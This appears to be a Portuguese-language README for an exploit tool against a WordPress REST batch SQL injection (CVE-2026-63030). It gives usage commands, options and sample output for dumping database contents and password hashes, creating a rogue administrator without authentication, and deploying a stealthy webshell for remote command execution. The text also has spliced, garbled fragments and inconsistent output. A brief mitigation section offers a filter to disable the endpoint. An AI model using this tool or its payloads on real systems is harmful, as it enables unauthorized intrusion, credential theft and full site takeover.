
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept
Prova de Conceito de Injeção SQL por Confusão de Rota no REST Batch do WordPress (CVE-2026-63030)
Pesquisa, Desenvolvimento de Exploit e Documentação por Ch4120N
Este repositório e a ferramenta acompanhante (exploit.py) destinam-se estritamente a fins educacionais, testes de penetração autorizados e pesquisa em segurança.
Utilizar este exploit contra alvos sem consentimento explícito, prévio e por escrito é ilegal e viola as leis globais de fraude e abuso de computadores. O autor (Ch4120N) não assume absolutamente nenhuma responsabilidade por qualquer uso indevido, dano ou consequência legal decorrente do uso deste código. Sempre aja dentro dos limites da lei e obtenha a devida autorização.
CVE-2026-63030 é uma vulnerabilidade crítica e não autenticada que afeta a API REST do WordPress. Ela explora um bug de confusão de rota dentro do endpoint de processamento em lote aninhado (/wp-json/batch/v1 ou /?rest_route=/batch/v1).
Quando o WordPress processa um lote de requisições da API REST, ele valida cada sub-requisição de acordo com seu esquema específico antes da execução. No entanto, devido a uma falha na forma como o ponteiro de roteamento interno lida com caminhos deliberadamente malformados (por exemplo, ///), o esquema de validação fica dessincronizado em relação ao manipulador de execução real.
/wp/v2/users (que não aceita author_exclude) seja executada pelo manipulador de /wp/v2/posts. O parâmetro author_exclude não sanitizado é passado diretamente para a cláusula author__not_in do WP_Query, resultando em Injeção SQL Não Autenticada.oembed_cache. Em seguida, o exploit utiliza um payload de changeset do Customizer para envenenar o cache do menu de navegação, enganando o WordPress para executar uma requisição de criação de usuário sob o contexto de um administrador existente.pip install necessário.exploit.py).WP_Post (1 requisição por valor).EXTRACTVALUE() se WP_DEBUG_DISPLAY estiver habilitado.cd).Nenhum pacote de terceiros é necessário. Certifique-se de ter Python 3.8 ou superior instalado.
# Clone o repositório
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Torne o script executável
chmod +x exploit.py
# Verifique a versão do Python
python3 --version
# Executando o script
python3 exploit.py
O exploit é dividido em três subcomandos principais: check, read e shell.
Estas opções se aplicam a todos os subcomandos:
check - Detecção de VulnerabilidadeSonda o alvo com segurança para confirmar a presença dos marcadores de confusão de rota e testa a temporização do SQLi sem extrair dados.
read - Extração de Banco de DadosExtrai dados diretamente do banco de dados via injeção SQL.
shell - Execução Remota de CódigoImplanta o webshell e executa comandos. Se nenhuma credencial for fornecida, ele aciona automaticamente a ponte de criação de administrador pré-autenticação.
Abaixo estão exemplos reais da ferramenta em ação.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Observe como a ferramenta cria automaticamente uma conta de administrador, implanta o shell e limpa após sair.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
O núcleo do exploit depende da injeção de _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Essa URL inválida força o roteamento interno do WordPress a gerar um WP_Error para a primeira sub-requisição. Isso desloca o ponteiro interno, fazendo com que a segunda sub-requisição seja validada contra um esquema, mas executada pelo manipulador da terceira sub-requisição. Isso contrabandeia o parâmetro author_exclude para dentro do WP_Query.
Em vez de SQLi cego lento, a ferramenta usa um UNION SELECT para injetar uma linha falsa e totalmente formada de wp_posts. Ao definir orderby=none e per_page=500, impede que o WP_Query divida a consulta. O post_title injetado contém o resultado codificado em hexadecimal da expressão SQL alvo, envolvido em delimitadores ||, que é refletido diretamente na resposta JSON da API REST.
O plugin PHP implantado é projetado para alta discrição:
wp_a1b2c3d4.php).t) e comando (c) via parâmetros GET.hash_equals() para prevenir ataques de temporização no token.chdir) para evitar divulgação de caminho.EXPLOIT::...::END para análise limpa pelo cliente Python.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1 contendo author_exclude na URI.UNION, SLEEP() ou EXTRACTVALUE nos parâmetros da URL./// em requisições da API REST.WP_DEBUG_DISPLAY está definido como em para evitar vazamento de SQLi baseado em erro."Com grandes poderes vêm grandes responsabilidades. Use este conhecimento para defender, não para destruir."
— Ch4120N
| Opção | Descrição | Padrão |
|---|
url | URL base do alvo (ex.: http://target.com) | Obrigatório |
--rest-route | Use /?rest_route=/batch/v1 em vez de /wp-json/batch/v1 (para sites com permalinks desabilitados). | False |
--timeout | Tempo limite da requisição HTTP em segundos. | 30.0 |
--proxy | Proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080). | None |
| Opção | Descrição | Padrão |
|---|
--sleep | Atraso de temporização SQL (segundos) usado pelo fallback --confirm-sqli. | 3.0 |
--samples | Número de pares de temporização SQL de linha base/atrasada a testar. | 3 |
--confirm-sqli | Enviar um payload ativo de confirmação de SQLi (adiciona um pequeno atraso). | False |
| Opção | Descrição | Padrão |
|---|
--preset | Predefinições de extração rápida: fingerprint (versão/usuário/bd) ou users (logins/hashes). | fingerprint |
--query | Executar uma expressão SQL escalar personalizada (ex.: "SELECT @@version"). | None |
--prefix | Prefixo da tabela do banco de dados. | wp_ |
--max-length | Número máximo de caracteres a extrair por valor. | 128 |
--technique | Técnica de extração: auto, union, error ou blind. | auto |
| Opção | Descrição | Padrão |
|---|
--user | Nome de usuário do administrador. (Omitir para usar a ponte pré-autenticação). | None |
--password | Senha do administrador. (Omitir para usar a ponte pré-autenticação). | None |
--cmd | Comando único a ser executado no alvo. | None |
-i, --interactive | Abrir um shell interativo (REPL) após a implantação. | False |
falsewp-config.php